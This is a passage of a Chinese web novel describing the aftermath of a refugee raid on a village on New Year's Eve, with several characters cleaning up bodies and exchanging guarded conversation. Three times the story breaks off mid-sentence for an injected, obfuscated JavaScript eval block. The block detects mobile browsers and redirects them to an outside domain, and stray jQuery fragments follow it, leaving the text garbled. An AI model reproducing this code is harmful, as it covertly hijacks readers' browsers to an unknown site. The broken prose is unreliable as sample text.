在这几息的时间里，傅震直觉自己的心跳已不受控制地随了这根棍棒掉落的节奏一起，这无疑令他迷惘而震惊。 但他又极为确定，眼前的少年就是针对他来的…… 傅震的身形一时木然住，而他多想自己能永远地做个无法抽出枝条的木桩，静静地等待腐朽。 他只是有些奇怪，对方为何扔下了棍棒，对他所投来的审视的眸光里竟没有丝毫杀意…… “小遇一家人呢？”陆桓终于发问。 傅震惊讶地抬起眸眼，忍不住对陆桓上下“审视”起来，而陆桓虽无避讳，却因傅震迟迟不开口而皱了皱眉。 “诶，你们外头可停了么？我这怎么下来啊？”乔小遇的手紧扒住了楼梯口，一边探出上身，嗓音紧颤道。 陆桓闻声心绪终于一松，他侧头凝看了眼傅震后，便直往屋内奔了进去。 一应狼狈似乎也到了终止之时，尤其高扬——在将那几个朝他奔围过去的流民打伤后，他已累得坐倒在地。 “呵，还算赶得及时。”高扬暂懒得去管乔小遇那厢的情形，只转头凝眉看向傅震，嘴角扯出一抹玩味的笑容，道：“你知道我们找你费了多大力气么？” 傅震的神情终彻底地冰凝了下来…… 高扬前后两句话完全是不同的语气，而落入傅震耳中，给他所带来的感受也是截然不同的。 好在村里的鼓锣声已开始响动起来，急促得直将人的心神打乱。 “人来了……”高扬轻笑了笑，随即坐起身来，当着傅震的面，正经地拍了拍被他垫坐在屁|股下的披风，问声道：“你的伤不妨事吧？” 傅震默然而无所表示，只视线静静地停凝在高扬身上。他的伤口并不深，不过之前染上了许多流民的血，且争斗停下来后他四肢已然卸劲，瞧着一副颓废模样，似是伤重异常。 但有意思的是，高扬似乎也并不准备静等他的应答，接着竟跟进屋去了。 “难道你们都不担心我悄自离开的么？”看着高扬左摇右摆的身形，傅震不禁苦笑道。 这厢陆桓负手看着地上那条已被砍作两截的楼梯片刻，才敛了眉间沉色，仰头对乔小遇问道：“这楼梯是薛震砍断的？” “薛……薛震？”迎上陆桓那双如黑曜石般的眸子，乔小遇的舌尖不禁一阵打结。 她隐约猜测到陆桓口中所指的人便是傅震，而脑中紧随着便不由得生出许多疑问来…… 陆桓怎会认识傅震？难道两人从前有旧？又或者，陆桓是为了别的事而来，而那些事，正好是袁大娘等人所隐瞒的？ 乔小遇扒着楼板的手指更是紧了几分，只眼下她的手指一层泥灰，看不出关节处发白的模样。 “你就打算这样继续趴着？”且瞧着乔小遇那张泥黑的脸，一如当初在黑山林中偶遇的情景，陆桓不禁低笑道。 乔小遇声如蚊呐，“可我不知道怎么下来……” 她的思绪复被陆桓给拉回当前，可她身前是个四四方方的窟窿，她能怎么办？那股在她身上迅速蔓延开来的恐惧感，可比人将头伸入石井口时还要来得强烈…… “直接跳下来吧，我接着你。” 陆桓走近了两步，伸高了手，一边对她微笑着点了点下巴。 迎上陆桓那双漾着温和之色的眸子，乔小遇的呼吸渐变得平缓了几分。再朝身前的窟窿口边缘打量了两眼，她轻轻地吞咽了一口唾沫，道：“那你可得接稳了……” 乔小遇轻掀了掀唇角，松手做出半蹲姿|势，因觉着自己与地面的距离被拉远了一截，她复又心生恍惚，怔道：“对了，我家地窖里有把梯子来着……” 陆桓不耐地皱了皱眉，修长的手指稍稍合拢，往后一收…… “行吧，我这就跳。”乔小遇忙声道。 她已隐约听见自家后院里传来的动静，想来是爹娘他们上前来探探情形，然而不提前院中那鲜血四淋的情景，爹娘最担心的还是她的安危…… 若有危急，如她娘那般性情过分的，指不定会将事情迁责到就傅震头上，或者准确一点，是薛震？ “怎么，你还真想让我去帮你搬梯子？你瞧着我像是个动手做事的？”陆桓眉梢一挑，手臂作势收回叉腰——而乔小遇却在他说这话的当口，匆忙地跳了下来。 陆桓的手便这般停在半空当中了，对于乔小遇紧挂在他脖子上的动作，他也只能轻闭了闭眼，呵气道：“也就你家这屋子不高，不然你这猛地跳下来，我应当是接下了一头野猪冲击的力道。” “野猪？”乔小遇轻松开手腕，双脚滑触至地面，远山眉一阵轻拧。 陆桓原被她撞得肋骨泛疼，可听她话音间含怒，抬头时眸底不禁浮起一抹浅笑，道：“都是黑的……这形容很是恰当。” 乔小遇忍不住腹诽，且看着陆桓脸上那抹戏谑的笑意并着暗红色的血液花瓣绽放，她心下一股热意暗涌，气笑了声道：“你也好不到哪里去！” “呵，你们便尽管打情骂俏吧……只我原就不该和桓弟往你们这乔家村来走一遭，因为显得我很是多余。”高扬斜靠在门边，一边踢踩着脚下的门槛，一边摊手说道。 陆桓听得这打趣话，神情并没有什么特别的反应，只眸色融融，轻轻掠向乔小遇那张蹭染上了一层泥灰的脸…… “也是，这种事做来实在为难你个不正经的人。”乔小遇扯了扯唇角道。 高扬嘴角的弧度又扩大了几分。径朝陆桓的方向挤了挤眼后，他反手将背上所悬弓箭卸了下来，转身往正屋那道门里进去了。 陆桓有些诧异于乔小遇的反应，暗道：“她似乎并不觉着高扬的话有什么的？我便只能当她看清了高扬浮夸散漫的作风，有些话入耳了却不见得入心么……” 陆桓想及日前他携高扬一同去程煜之家中拜访 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924405|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，面对程家人让他们留宿歇夜的邀请，高扬那厚脸皮的竟“从善如流”地直直点头，而程家小姐则羞怯得耳尖泛红的情形，不免又深看了眼乔小遇。 当然，程家小姐当时是怎样的一种反应，却都是高扬那厮在他看书时有意扰他心神所说起的。陆桓以为当时自己不曾听之入耳，可没想今日却什么都能回想起来。 他不自觉地低叹了口气，且听高扬在隔壁屋里不住地碎念惊叹，“这下手可太狠了，直让人心肝乱颤！” “心肝乱颤”与“花枝乱颤”两词从字面上看，是存在很大区别的，然而从高扬口中说出来，便不论他心头有多震惊，那些滚落在灶炉边的人头竟如松林间的那些松果一般平常，人目见之当惊不起多大波澜…… 傅震此时也提着斧头进到了屋里来，只他的神情直可用“淡漠”来形容。 乔小遇远做不到这点，她的家人亦是如此。高扬方才那几道惊讶的咋舌声落入乔小遇耳中，已然让她的脑海中浮现出了那些血腥可怖的画面。 傅震站在过道门处，见乔小遇肩臂紧绷的模样，却是沉声对陆桓说道：“你们收拾，待会儿村里人便过来了……那些尸体可直接抛入拖罗河中。” “啊，这是你砍的人，你却不帮忙的？”高扬闻声有些不满地叫嚷道。 可傅震却不理他，但见陆桓轻轻颔首，傅震便退步将过道门给拉将上，以此隔断乔小遇那道忧惧的视线。 此时后厢房里已经传来响动，傅震快步走了过去。 “小遇呢？我女儿怎么样了？” “傅震，你没事吧？” …… 听着这几道低沉的担忧问声，高扬又回头瞥了眼侧后方的那扇过道门，摇头叹声道：“敢情你们各都有人需要去顾念，就只我一个做劳力的？” 乔冉安等人自被傅震给强拦了下来，说现下家里乱糟糟的，并不适合人上前去…… “能有什么事呢？顶不过家里的东西被人砸烂许多……”傅娘子皱了皱眉，接着不顾傅震的阻拦，便要挣身凑上前去。 傅震并不好得细说如今这房子的一面白墙已被鲜血泼染上红，算是白费力气刷了，只接着劝道：“您放心吧，小遇好生生的，不曾被伤及半分，且家里还来了两个骑马的少年郎，听话声竟与你们是熟识……” “两个少年郎？” 乔冉安夫妻俩面面相觑，而在这时，家里后院的门被人敲响，两人的思绪亦被此打断了去！ 来人是乔荣和住在他家那附近的村民。 “快进来。”傅娘子将门|隙打开了些，而心下随之上浮起一股酸涩感来，“你们怎么这时候才赶过来？” 她低沉的嗓音教人听来不免有几分抱怨的意味——尽管这抱怨毫无依托，断没有谁便必须先顾及乔冉安一家生死的道理，可乔荣还是耐心地解释了句：“大村子里头也摸进了些流民……” “那你们这边呢，情形如何？大家都还好吧？”乔荣接着又急问道。 77. 少不经事 “都还好，只是前头院子里有两三道尸体需要大家伙帮着抬一下。”傅震的视线接着转向乔冉安夫妻俩，叮嘱道：“等清理完毕，姨父姨母再出来吧。你们也得好生看护着小佩不是？今儿夜里大家都不容易。” 傅娘子这才留意到那一直站在角落里的乔小佩——她瘦弱的身形因暴|露在冷凉的夜风中而瑟瑟发抖，而目光却是一直停落在在场的大人们身上的。 傅娘子哪还会不清楚？小女儿虽不愿让大人们在这个时候为她分神，不忍出言打岔，可她对姐姐的安危亦心存担忧，便指着能从大人的谈话中听出一二来…… 这夜风凉瑟，火光灼人，乔小佩亦是同样感受到了的。 “没事的啊，姐姐她好端端的哩……”傅娘子的眼眶中再次溢满泪水，她缓身半蹲下来，将小女儿圈入怀中。 傅震见状几不可闻地沉叹出了口气，他垂眸看了眼那直打着呵欠，而小脸上泪痕未干的小虎，面部的轮廓可算柔和了几分。 “照顾好小虎和大娘，还有姨父他们，我先出去。”傅震对跟前的潘怜儿微微点头示意，接着便带了身后的几个村民朝前跨步离开。 既是收尸，向来怯懦的乔冉安自是没那个胆子跟上去了。倒是乔丫丫她哥乔荣，仅不过十五岁的年纪，随在傅震身后的脚步竟没有丝毫犹豫。 高扬是拿了披风裹盖人头，并将其拖出去的。 等傅震带着乔荣等人走到灶炉边时，已拖了两次人头的高扬也回到了屋内。显然，并且教人觉着惊骇的是，人脚边、木窗台上和门槛下竟横倒着五具无头尸身！ 这哪里是傅震口中的两三道尸体？ “这就吓着了？外头还有很多呢……”高扬懒懒地瞥了眼傅震身后的那几个人，接着又看过自己手头所拿的那道披风，怅然道：“这血迹怕是洗不掉了，可惜我娘这一针一线地缝出来……” 傅震闻言皱了皱眉，但听隔壁偏屋里传来陆桓的声音，“你这又是在吓谁？你不说话，没人把你当哑巴。” “他便一直这么假惺惺的。我师母惯他异常，他所着的那件披风，书院里还有两件一模一样的。”陆桓轻笑着与乔小遇说道。 他的语调温润清和，仿佛是在与乔小遇叙述着一件再琐碎不过的事情，“比起我的小心收藏，高扬直可称得上是一个败家子。你若瞧见他拿披风当鸡毛掸子掸灰的情形，就知他嘴里是吐不出半句正经话来的。” “我知道……”乔小遇喃声点头，神色渐变得松弛下来。 高扬可算是见识到了陆桓这碎念着转移话题的本事了，但因当事人正是自己，高扬实在夸不出半个字词来，只心里碎骂了声：“姑且被你当回反例，而我好歹给你创造了次机会不是？” 高扬回想起当初陆桓与程家小姐在亭中对饮，不知从何处冒出一条黄花蛇来，惊得美人花容失色，而陆桓剑尖一挑将蛇身斩成两段后，却不曾对美人安慰两句的事，嘴角不禁扯起一抹戏谑的笑容。 “原来桓弟并非不懂风情，而乔小遇是个例外……而我从前一直以为，桓弟与我唯一相似的点便是以貌取人，如今看来竟是错了？这个脸上从来抹了灰泥，于是和野猪皮是同一种颜色的山野丫头，是怎么入了桓弟的眼的呢？” 高扬对此颇想不通，但他从来是个想法跳脱之人，且见村民们愣着神，不敢上前搬尸体，而傅震直凝着眉看向那扇过道门的情形，直接嚷声问道：“你们就看着我动手，自己却干站着的？” “无头尸这么可怕的？”高扬这回终于有意识地沉了几分嗓音，呢喃道：“可到底没了鲜活气息，无头尸也当比让死人睁眼的情景好看得多吧？” 这种事竟是能用“好看”这种词来形容的？ 几个村民闻言一阵愕然，但他们接着便也回过了几分神来，一边强忍了呕吐的冲动，一边上前来帮着搬运尸体。 而隔壁的陆桓能够保证的是，这是高扬所说过的少有的正经话之一了…… 陆桓轻叹了声，黑沉的眸底浮起一丝无奈之色，对乔小遇说道：“或许你应该在上头多呆一会儿，或者直接跑到厢房里去暂避。如此，便不必听到高扬的噪耳声了。” “我其实也不是很怕……或者，现在已经好多了。”乔小遇话音轻缓，如同四散纷飞的鹅毛雪片般静静地融落在清澈的河水当中。 河水冷冽了几分，墙面上的鲜血冷凝下来，而她的脑子终不再似之前一般嗡鸣了，渐恢复了丝清明。 院前的泥路上，也开始不断地有村民赶来。血痕斑驳的小院中，因为多了几分人气，那光秃秃的桃木枝上仿佛有骨朵冒出…… 乔荣先是到过偏屋门口看看乔小遇的情形，然问了句“你还好么”的话后，视线便不由得轻落在陆桓身上。 乔荣是知道陆桓的。以前由他家看护陆家山林时，他曾不止一次地随他爹去过陆苑，而陆桓父亲在几年前时还是陆氏的族长…… “这便是我印象中的那个神气的公子哥？”乔荣瞥了眼陆桓披风上的血渍泥浆，想起当初听陆氏族人谈起陆桓时那般崇慕的眼神以及“有洁癖，屋宇器具，时一涤之”①的描述，不禁有些恍神。 面色怔凝了片刻后，乔荣认认真真地对陆桓行了个礼，犹豫地问道：“陆公子，你怎么到湾子里来了？” 陆桓淡淡地看了乔荣一眼，疑惑的眸光旋却落至跟前那蹲缩在断梯一头的乔小遇身上。 “他爹是之前帮着看护你们陆家山林的那位……”除此之外，乔小遇似乎也找不到什么合适的话来说明乔荣的身份，于是话音嗫嚅。 陆桓皱了下眉，瞥眼见得乔荣的头又下沉了些，凝声应道：“我们从清水镇上过时，探知得有许多流民往乔家村的方向奔来，所以便马不停蹄地赶来了。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924406|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话对乔荣而言，依旧有许多地方是含混不清的，而他已经不该细问。晦涩的眸光从两人身上掠过，乔荣已然意识到两人之间有旧交…… 这无疑是一个特别的除夕夜。 村里虽没有爆竹可燃，土黄色的泥路上没有红色的爆竹皮屑，却有成滴成滩的鲜血…… 乔小遇想着，好在夜色渐浓，泥巴血渍的颜色分辨不清，终会让人们淡忘那些血腥画面的吧。 傅震招呼着村民，不停地往河中搬运尸体。此刻的他心思重重，却也留意到了一旁的乔荣——那是个藏了许多心事的少年，阴郁得过分了，便是当下看着这般血淋淋的场面也不曾抖一下眼皮的。 “果然，哪有这么多的少不经事呢？”傅震口中轻呼出了口气，忍不住摇头说道。 而与乔荣形成对比的是，那心急火燎地往乔小遇家里赶的乔宝树方才走进院中，便被眼前的血腥场面给激得反呕了。 他扶着院角的桃树一阵“哇哇”直吐，便听得身后传来冲洗地板的声音，也没敢回头看上一眼…… 乔荣过来帮他拍了拍背，嗓音里不带丝毫温度地道：“差不多已经处理完了……乔小遇一家并没有出什么事。” “不过她家这屋，怕是暂时不能住了。”高扬抱手走到乔宝树身后，戏笑道：“里头许多血迹，我之前还拖了几个断头出去哩……我想你是没那胆子进去瞧眼的。” 高扬有意奚落的话音落入乔宝树耳中，已令他很快反应过来对方是谁。 “是你？你怎么会在这里？”乔宝树回过身后，讶然一问。 高扬眯眼轻笑，待乔宝树缓站起身来后，下巴却往人手掌的方向轻点了点，故作惊讶地问道：“诶，你手上可是沾了血？” 乔宝树低眼一看，脸色再次变得刷白！他闭口强忍了那股自胃中翻腾冲上的气味，侧目往身旁那棵浸泼过鲜血的桃木看去，接着已是惊愣得说不出话来。 可闻的是，高扬口中哼笑了声，这无疑让乔荣觉得高扬是有意揶揄。 只乔荣暂不明白高扬何故如此，他轻皱眉头，对乔宝树说道：“乔小遇一家之后的住处，怕是等里正过来后再行安排。” “嗯？噢……”乔宝树嘴角的肌肉轻轻抽动了下，终究带了一种被冰凌冻覆住的僵滞感，“我爹接着就过来了，我……我先去看看小遇。” 言毕，乔宝树便飞快地往石坎处奔去——乔荣在旁原想拉人停步片刻的，尽管连他自己也不懂这种想法从何而来。 瞥眼见得身旁的高扬那一副似笑非笑的得意样，乔荣奇怪地问道：“高公子和乔宝树有过节？” “过节，哪的话？”高扬嘻笑着摆了摆手，但迎上乔荣那凝然住的眉眼，竟敛了几分笑意，一边拍扇着衣上的泥灰，一边说道：“这事怎么看，都同我没有半分关系的，但陆桓是我兄弟，我怎么都要帮他一把的不是？” 78. 南北派系 “比如让乔宝树这小子意识到自己不是个有胆识的，他所能担的事也就使牛耕地、插秧割草之类。”高扬轻轻摊手道。 他的话音是一种极其平淡的描述，虽没有半分嘲笑的意思，但听来终是令人皱眉。 话已至此处，乔荣怎还没有听出高扬话里的意思呢？他皱眉轻笑道：“虽然我并不清楚他们之间有什么渊源，但乔小遇生在这湾子，长在这湾子，插秧割草是她所见所历。” “呵，那也不代表以后。”高扬挑起唇角，接着又补充了句，“再者，我桓弟也并非当真是个脚不沾尘的人。” 并非脚不沾尘？ 乔荣闻言不由得一阵默然，那株长在他心头的已然开花的桃枝似乎也停了抽出绿芽的生意…… 而对乔小遇而言，她每次与陆桓相遇时，陆桓都极尽狼狈，那般情状已并不是简单的脚不沾尘。 这厢在乔宝树还未冲进去时，乔小遇因未见得陆桓出去帮忙，便启口问道：“你便眼看着高扬当劳力么？” “不然呢？你觉着我去合适？”陆桓淡嗤了声，黑沉的眸子不经意地瞥朝自己所坐着的断裂的梯子一头，脸皮微微一抖。 “似乎太随意了些？”陆桓心下暗喃，犹豫着要不要去寻个凳子来坐。 乔小遇瞧得陆桓四下环探的情形，面色有些哭笑不得，旋却转回正题，问道：“你来找傅震做什么？” “我与高扬是随了流民往这边过来的。” 陆桓低着眉眼，说道：“如今外间情势有变，朝州府内以淮水为界，两派分系，北面施粥救护流民，南面则驱民治乱。似今夜里这么多的流民奔窜的情形，以后当不会有了……” “南北博弈的结果，无疑是官府会重新编籍造户，并着手安顿民生，而谁得了清名，谁狠恶暴戾也再明显不过。”陆桓顿了顿话音，摇头失笑，暗嘲自己与乔小遇多言了…… 他口中长呼出了一口气，才沉声道：“总说来，幸活下来的流民多会回归乡里，或是赶往淮北重新落籍。少了骚乱，湾子里的村民也不必同以前那般心思紧绷着。” “至于春耕之事，头疼得紧的官府终免不了做个两面人，村里人若被人卡着不曾得农牧之惠，你可以让乔长田到陆苑里寻陆氏族长帮忙。” 陆桓这话说的一点也不避讳，而乔小遇也不觉着有什么惊奇……只她也不知是否是自己有所错觉：陆桓方才的神情似乎有一丝黯然？ 似乎该说的都说了是么？ 乔小遇轻拧着眉，重新转回话题，“你之前也说了，你和高扬是在清水镇上得悉有流民往乔家村奔窜的，这大过年的，你们没事去清水镇上做什么？” 陆桓的瞳孔微微一缩，凝声应道：“便是来寻傅震的又怎样？” 听得这话，乔小遇的身体不自觉地朝后一蜷，而嘴唇紧抿着，不知接下来该说什么为好。 “我和高扬很快就会离开，你们一家便当什么我们不曾来过。”陆桓眉间神色郑重，而话音则十分平淡，似乎随着他与高扬的离开，这话也不会留下任何痕迹了。 乔小遇的远山眉一阵紧蹙，警惕性地问道：“你打算对傅震怎样？” “这取决于他……” 陆桓沉叹了声，瞥眼见得乔小遇那副防备的神色，他嘴角轻漾起一丝笑意来，“你不必这般……与傅震相处了这许久，你应当比我更清楚他是个怎样的人。” “怎样的人？”乔小遇又问他。 “或是一个还算正直的人？如果人分正直与虚伪的话。”陆桓轻挑眉梢道。 乔小遇心下终于松了口气，继而生出几分尴尬来。或许是在她感受来，陆桓的目的性太过强烈，她才会防备性地在彼此之间横竖起一道墙…… 而乔宝树的出现，在松释了几分乔小遇这种尴尬情绪的同时，却使得乔宝树本人怔懵在了当场。 原就微黑的夜色，因乔宝树这卡停在偏屋门口的身形而被遮挡得沉黑下来，陆桓的面部轮廓也显得模糊了些，但他那双眸子确如院中的那口石井般泛着一抹莹亮之色。 “小遇，你没事吧？”乔宝树转而看向乔小遇，脚步轻挪，旋走进屋来。 只不论怎么瞧着，乔宝树那双腿都似人们攒聚出的草垛一般，便只能依着中心的树干攒堆向上，不曾弯折出一个角度。 “我没事的……”乔小遇朝他微微一笑，“外头院里可被冲洗干净了？” 乔宝树的视线自陆桓身上划过，他轻挠了挠后脑勺应声道：“差不多了。但你家这屋暂还是别住了，旁边正屋那血腥气也是够重的，那墙面怎么都要重新刷一回了，且我瞥了眼那木窗，可被劈裂出了好大一个窟窿缺口……” “待会儿你们一家便先去我家那边歇脚吧。”乔宝树沉叹了声，自以为寻到了一个契口去问及关于对面那位少年的话题，却听乔小遇喃声说道：“等我娘看过再说吧，这么晚了，给你家添麻烦也不好……” “怎么会是麻烦呢？”乔宝树听着乔小遇这般客套的语气，脸色瞬时僵了几分，然见乔小遇并不准备多说什么，他才想到人搬去他家里住的事并不是由他做主的，一时不由语塞。 而这时乔长田一行终于过来了，随行的还有乔小遇她大伯二伯等人。 “遇丫头，你爹娘呢？”乔长田迎上儿子那道恳切的目光，怎不知乔宝树的心思，于是他轻轻颔首后便转头对乔小遇问道。 乔小遇连忙站直起身，应言道：“我傅震表哥把他们拦在后院里了。” “那成，我同你娘商量一下，你们今晚就先去我家歇息吧，等明天调了石灰水和泥灰，仔细拾整下屋子再回来住。” 乔长田轻拍了拍乔小遇的肩，旋侧头深看了眼一旁的陆桓后，便要提步往过道门处去。 乔小遇也想跟着去看看她爹娘的情形，然后首被陆桓拉拽住，前首被她大伯在门口拦下，“你这丫头去凑活什么，遍眼见着血糊糊的，当心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924407|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上睡不着觉。” 倒不是有意吓她，但见乔小遇的神色微微一凝，乔冉临松了几分语气，接着叮嘱道：“你先去外头院里等你爹娘，等下跟着我和你二伯去我们家里住。” “诶……”乔小遇动了动唇，但迎面又是过道门关将过来，想说的话也吞咽了下去。 夜空是一片墨蓝，伫立在山村四周的青山把夜空圈勾出曲折起伏的轮廓。乔小遇仰头看去，懵然觉着头顶是一湖深水，而自己成了一条浮游在其中的鱼——虽是一方小天地，却是安然自在。 灶房里的猪头肉已经冷却下来，香味已不似之前那般浓郁，但乔小遇却觉着唇齿间依旧弥漫着那股令人满足的味道。 “许是因着除夕前爹娘往几个叔伯家各送了半只猪头肉过去的缘故，原存于几家人之间的冰凌渐融化开来……”乔小遇想及此处，轻笑着摇了摇头。 院前潺流的河水依旧冰冷，可黑风两匹马儿却是浑然不顾忌这些的，直在水中戏耍，陆桓连吹了两次哨声，它们才依依不舍地上岸来。 “真是两匹好马！看这体型和鬃毛颜色，倒像是从北原郡上接引过来的马种！”傅震的手指紧搓着，一双眼睛可看得直了，口中不禁赞道。 陆桓静静地看向他，忽地笑道：“那回头我寻一匹良驹给你？” 傅震闻言连忙摆手，脸色变幻道：“给我作甚，春日耕种时拉粪么？呵呵，那岂不是大材小用……” 傅震说着说着，便不自觉地将视线偏侧到了一旁去。这情形落入高扬眼中，确教他觉着饶有趣味，是以平日里惯常出言缓和场间气氛的他竟一字未发，反而笑眯眯地看向傅震。 “呃，没想到傅震表哥还有这等见识。”乔宝树呵笑着拱了拱手，微凛的余光则不由得轻瞥向陆桓。 乔荣与乔小遇亦是如此。他们所能共同捕捉到的，是陆桓嘴角那丝似笑非笑的神色。 这丝笑容瞧着过于平淡，便如一条在日光照耀下的流动着的溪流，人站在石岸上看，溪水终究会浅几分，而仅凭几株从水底淤泥上生冒出来的水草的高度去判断水深如何，是不准确的。 他们也都出奇地保持了沉默，没有人去继续深问譬如傅震何以看出两匹马儿的来历的问题，尽管三人心下均好奇得紧。 乔荣皱了皱眉，但瞥得乔小遇亦是一副凝眉不语的模样，接着转过话题，道：“夜里凉，忙过这一阵大家便都早些睡下吧。乔小遇，你家那边要是棉被不够用，便到我家来拿两床吧。” “没事啦，我家有多余的，不用荣哥费心了。”乔宝树笑眼微弯道。 乔荣没有应声，而面上神色渐变得黯然，似乎才觉得自己的建议根本没有提说的必要。一旁的高扬倒从来是乐得看戏的，不禁对陆桓投来促狭的视线，“咱俩今晚去哪住呢？” “是你把我拐出来的，你可要对我负责哟。”高扬着意拿胳膊肘拐了拐陆桓，然觉察到他身体微微紧绷，眉间笑意愈浓。 79. 真相如何 陆桓松绕开两圈缰绳，淡声说道：“看傅震表哥他们的决定，他们住哪儿我们就住哪儿……” “咱们今晚当真不回去了？”高扬咂了咂舌，喃喃重复了两句陆桓话中那“表哥”的称呼后，瘪嘴道：“可你从来对我直呼其名。” “小遇，我们今晚到底去哪歇夜啊？”一转对陆桓的不满轻呼，高扬对乔小遇嘻笑着问道。 “再看吧。”乔小遇不自然地将头轻缩了缩，旋转身看朝地头的那处石墙角，轻笑道：“我爹娘他们过来了。” 傅娘子到底没有领了一家人往乔长田家去歇夜，尽管她心里存了这种想法。乔冉安关于修复与几个哥弟家关系的话难得在她那里有了效用，所以即便傅娘子她心里梗堵着一块石头，面上也笑意融融。 而当她看到陆桓与高扬时，眼尾处的皱褶里不由得喜色叠漾，便同那青石板下压着活腌菜般，直能够挤出半缸的腌菜水来…… 乔冉安他们怎么也没想到陆桓二人会到村里来，而来了竟还遇上这种事。可以想见的是，之前所陷危境还是人帮自家给解的。 乔小佩站在乔小遇身后，两只手直揪扯住她姐的衣摆不动，便如同在松林间攀爬跳跃的山鼠紧抓着松果一般。她歪侧出一边的小脑袋，静听着爹娘口中的那些感激之语，小眼珠子乌溜溜地转了转。 夫妻俩对前来帮忙的村民介绍过陆桓与高扬的姓名后，如乔冉宏这般还关切着打点四弟家歇夜之事的，全不曾想说再细问一问陆桓二人的来历，但乔长田不同…… 他疑惑的目光在乔小遇一家人的身上轻转过后，发现他们并没有什么想要补充的，于是眉色微凝。只乔长田接着便见到对面的乔小佩跑去环抱上了陆桓的身体，态度尽显亲昵。 “桓哥哥，你是家里没煮猪头肉，所以来我家过年的么？”乔小佩一边蹦跳着，一边眨巴着眼问道。 陆桓的脸色已然绷持不住，他轻摇了摇头，俯身将乔小佩抱到马背上，笑说道：“是了，我家缺肉，所以我来宰你一刀。” 乔小佩闻言立即作惊恐状，弯腰紧揪住了马鬃，低趴下身。然谁都能看得出，乔小佩那双圆眼里是毫不掩饰的欢喜。 “看情形似乎都是老熟人了，可为什么我从来没有听冉安哥他们说起过？”乔长田一边点了火把给乔小遇她大伯他们几个拿着，心下却有疑云片片。 眼下也不是细问的时机，乔长田在确定陆高两人并非心存歹意后，便只暂将心头疑云化成无形的水雾渐散开去，催促众人道：“今夜里也是令人心悸了，大家伙都早些散了吧。” 众人四分归家。 乔宝树站在岔路口处，目送乔小遇一行拾了青石阶往上爬，他的神情渐变得黯然下来，仿佛与周遭的夜色融作了一处，乃至于凉风轻袭过也不曾被他遮挡得慢了半分。 乔长田往家门口的方向走了一段，倏才发觉儿子并没有跟上他的脚步，连忙回身去看。 被风吹斜的火影在地上留下时大时小的光亮区域，乔长田只担心若是风再大一些，这火光怕是会缩成篾笆大小……但这并不妨碍他寻到儿子的身影。 乔长田又往回走了几步，眼瞧得儿子依旧木愣在原地，不禁轻轻摇头，唤道：“宝树，回家了……” 乔宝树略显恍惚地回转过了头来，凝眉问道：“爹，之前小遇她爹同您提起过高扬他们么？” “或许如傅震一般，都是些远房亲戚吧。”乔长田口中轻吐出口气来，接着定声补充道：“毕竟在傅震来到湾子里之前，咱们也不晓得这一点。” 青石阶上火光绰绰，映在乔宝树的视野中便仿佛夏日里那些发出莹亮光色的小虫般，忽明忽暗的。 而听着乔小佩兴奋不停的问话声从青石阶顶传来，乔宝树便觉着似乎有几个棱角分明的石子从青石阶顶上“嘣嘣”滚落到他的脚底，终究是刺得他生疼了。 …… 袁大娘家小虎的“哇呜咿呀”声可把人折腾了小半个时辰，才让人得以安眠。这里的“人”，是指的傅娘子等几位，而因心烦意乱才未得以安眠的，则是袁大娘母女以及乔小遇。 这夜里，乔小遇一家是在她大伯家歇脚的，而潘怜儿一家和陆高二人则住在了隔壁她二伯家里。 随着夜色愈浓，乔小遇但听着妹妹那平稳的呼吸声，以及后头厢房里所传来的她爹的呼噜声，知道家里人已然熟睡，于是她轻手轻脚地掀开被子，将临靠着板壁的木窗轻推开了一条缝隙。 目光所及并不如何远，亦不怎么清晰，可对于那站在二伯家粪堂前的空地上的潘怜儿与高扬二人，乔小遇却是看得真真切切的…… 再向远处，青石阶边，光秃的椿树枝下，那站着的两道身形不是陆桓和傅震是谁？ 夜色掩了人面上神情，而乔小遇虽能感受到那股从窗隙间刮进来的凉风，却无法从这凉风里探听得半句陆江两人的谈话内容，这令她皱了皱眉，然她依旧趴在那窗边缘，不肯移目片刻。 清月浮挂上树梢头时，已经是后半夜开始了。 在这之前，潘怜儿被傅震使进了屋里休息。 依稀听得傅震对潘怜儿说了两句安慰话的乔小遇，且瞧着潘怜儿那一步三回头的动作，不禁一阵摇头轻叹：“便非得傅震等人回屋歇下，怜儿姐姐才睡得安稳了。” “娘先前因顾忌怜儿姐姐的寡母身份，特地加盖茅屋给袁大娘他们一家子住……可如今看来，那茅草屋倒不如直接盖成瓦房，等日后傅震表哥娶了怜儿姐姐，那便当他们的新家了。” 乔小遇这般想着，唇角渐浮笑意，而清亮的眸子中依旧一片迷离。 因为她发现，傅震在面对陆桓时，有十之七八的时间都在沉默，尽管人说什么她都听不清楚。 …… 